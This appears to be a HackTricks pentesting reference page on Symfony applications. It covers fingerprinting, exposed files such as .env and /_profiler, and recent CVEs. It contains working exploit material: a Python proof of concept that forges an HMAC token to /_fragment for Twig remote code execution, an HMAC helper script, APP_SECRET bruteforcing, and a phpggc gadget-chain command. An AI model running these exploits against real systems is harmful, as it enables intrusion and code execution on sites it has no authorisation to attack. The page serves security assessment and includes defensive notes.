6.3 KiB
Symfony
{{#include ../../banners/hacktricks-training.md}}
Symfony is one of the most widely-used PHP frameworks and regularly appears in assessments of enterprise, e-commerce and CMS targets (Drupal, Shopware, Ibexa, OroCRM … all embed Symfony components). This page collects offensive tips, common mis-configurations and recent vulnerabilities you should have on your checklist when you discover a Symfony application.
Historical note: A large part of the ecosystem still runs the 5.4 LTS branch (EOL November 2025). Always verify the exact minor version because many 2023-2025 security advisories only fixed in patch releases (e.g. 5.4.46 → 5.4.50).
Recon & Enumeration
Finger-printing
- HTTP response headers:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linkor cookies starting withsf_redirect,sf_session,MOCKSESSID. - Source code leaks (
composer.json,composer.lock,/vendor/…) often reveal the exact version:curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version' - Public routes that only exist on Symfony:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(pretty error pages)/app_dev.php,/config.php,/config_dev.php(pre-4.0 dev front-controllers)
- Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists:
symfony.txt→ look for/_fragment,/_profiler,.env,.htaccess.
Interesting files & endpoints
| Path | Why it matters |
|---|---|
/.env, /.env.local, /.env.prod |
Frequently mis-deployed → leaks APP_SECRET, DB creds, SMTP, AWS keys |
/.git, .svn, .hg |
Source disclosure → credentials + business logic |
/var/log/*.log, /log/dev.log |
Web-root mis-configuration exposes stack-traces |
/_profiler |
Full request history, configuration, service container, APP_SECRET (≤ 3.4) |
/_fragment |
Entry point used by ESI/HInclude. Abuse possible once you know APP_SECRET |
/vendor/phpunit/phpunit/phpunit |
PHPUnit RCE if accessible (CVE-2017-9841) |
/index.php/_error/{code} |
Finger-print & sometimes leak exception traces |
High-impact Vulnerabilities (2023-2025)
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 originally, but still appears on modern targets when debug is left enabled or
.envis exposed. - Once you know the 32-char
APP_SECRET, craft an HMAC token and abuse the internalrender()controller to execute arbitrary Twig:# PoC – requires the secret import hmac, hashlib, requests, urllib.parse as u secret = bytes.fromhex('deadbeef…') payload = "{{['id']|filter('system')}}" # RCE in Twig query = { 'template': '@app/404.html.twig', 'filter': 'raw', '_format': 'html', '_locale': 'en', 'globals[cmd]': 'id' } qs = u.urlencode(query, doseq=True) token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest() r = requests.get(f"https://target/_fragment?{qs}&_token={token}") print(r.text) - Excellent write-up & exploitation script: Ambionics blog (linked in References).
2. Windows Process Hijack – CVE-2024-51736
- The
Processcomponent searched the current working directory beforePATHon Windows. An attacker able to uploadtar.exe,cmd.exe, etc. in a writable web-root and triggerProcess(e.g. file extraction, PDF generation) gains command execution. - Patched in 5.4.50, 6.4.14, 7.1.7.
3. Session-Fixation – CVE-2023-46733
- Authentication guard reused an existing session ID after login. If an attacker sets the cookie before the victim authenticates, they hijack the account post-login.
4. Twig sandbox XSS – CVE-2023-46734
- In applications that expose user-controlled templates (admin CMS, email builder) the
nl2brfilter could be abused to bypass the sandbox and inject JS.
5. Symfony 1 gadget chains (still found in legacy apps)
phpggc symfony/1 system idproduces a Phar payload that triggers RCE when an unserialize() happens on classes such assfNamespacedParameterHolder. Check file-upload endpoints andphar://wrappers.
{{#ref}} ../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md {{#endref}}
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce weak APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via exposed Symfony Console
If bin/console is reachable through php-fpm or direct CLI upload:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Use deserialization gadgets inside the cache directory or write a malicious Twig template that will be executed on the next request.
Defensive notes
- Never deploy debug (
APP_ENV=dev,APP_DEBUG=1) to production; block/app_dev.php,/_profiler,/_wdtin the web-server config. - Store secrets in env vars or
vault/secrets.local.php, never in files accessible through the document-root. - Enforce patch management – subscribe to Symfony security advisories and keep at least the LTS patch-level.
- If you run on Windows, upgrade immediately to mitigate CVE-2024-51736 or add a
open_basedir/disable_functionsdefence-in-depth.
Useful offensive tooling
- ambionics/symfony-exploits – secret-fragment RCE, debugger routes discovery.
- phpggc – Ready-made gadget chains for Symfony 1 & 2.
- sf-encoder – small helper to compute
_fragmentHMAC (Go implementation).
References
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component {{#include ../../banners/hacktricks-training.md}}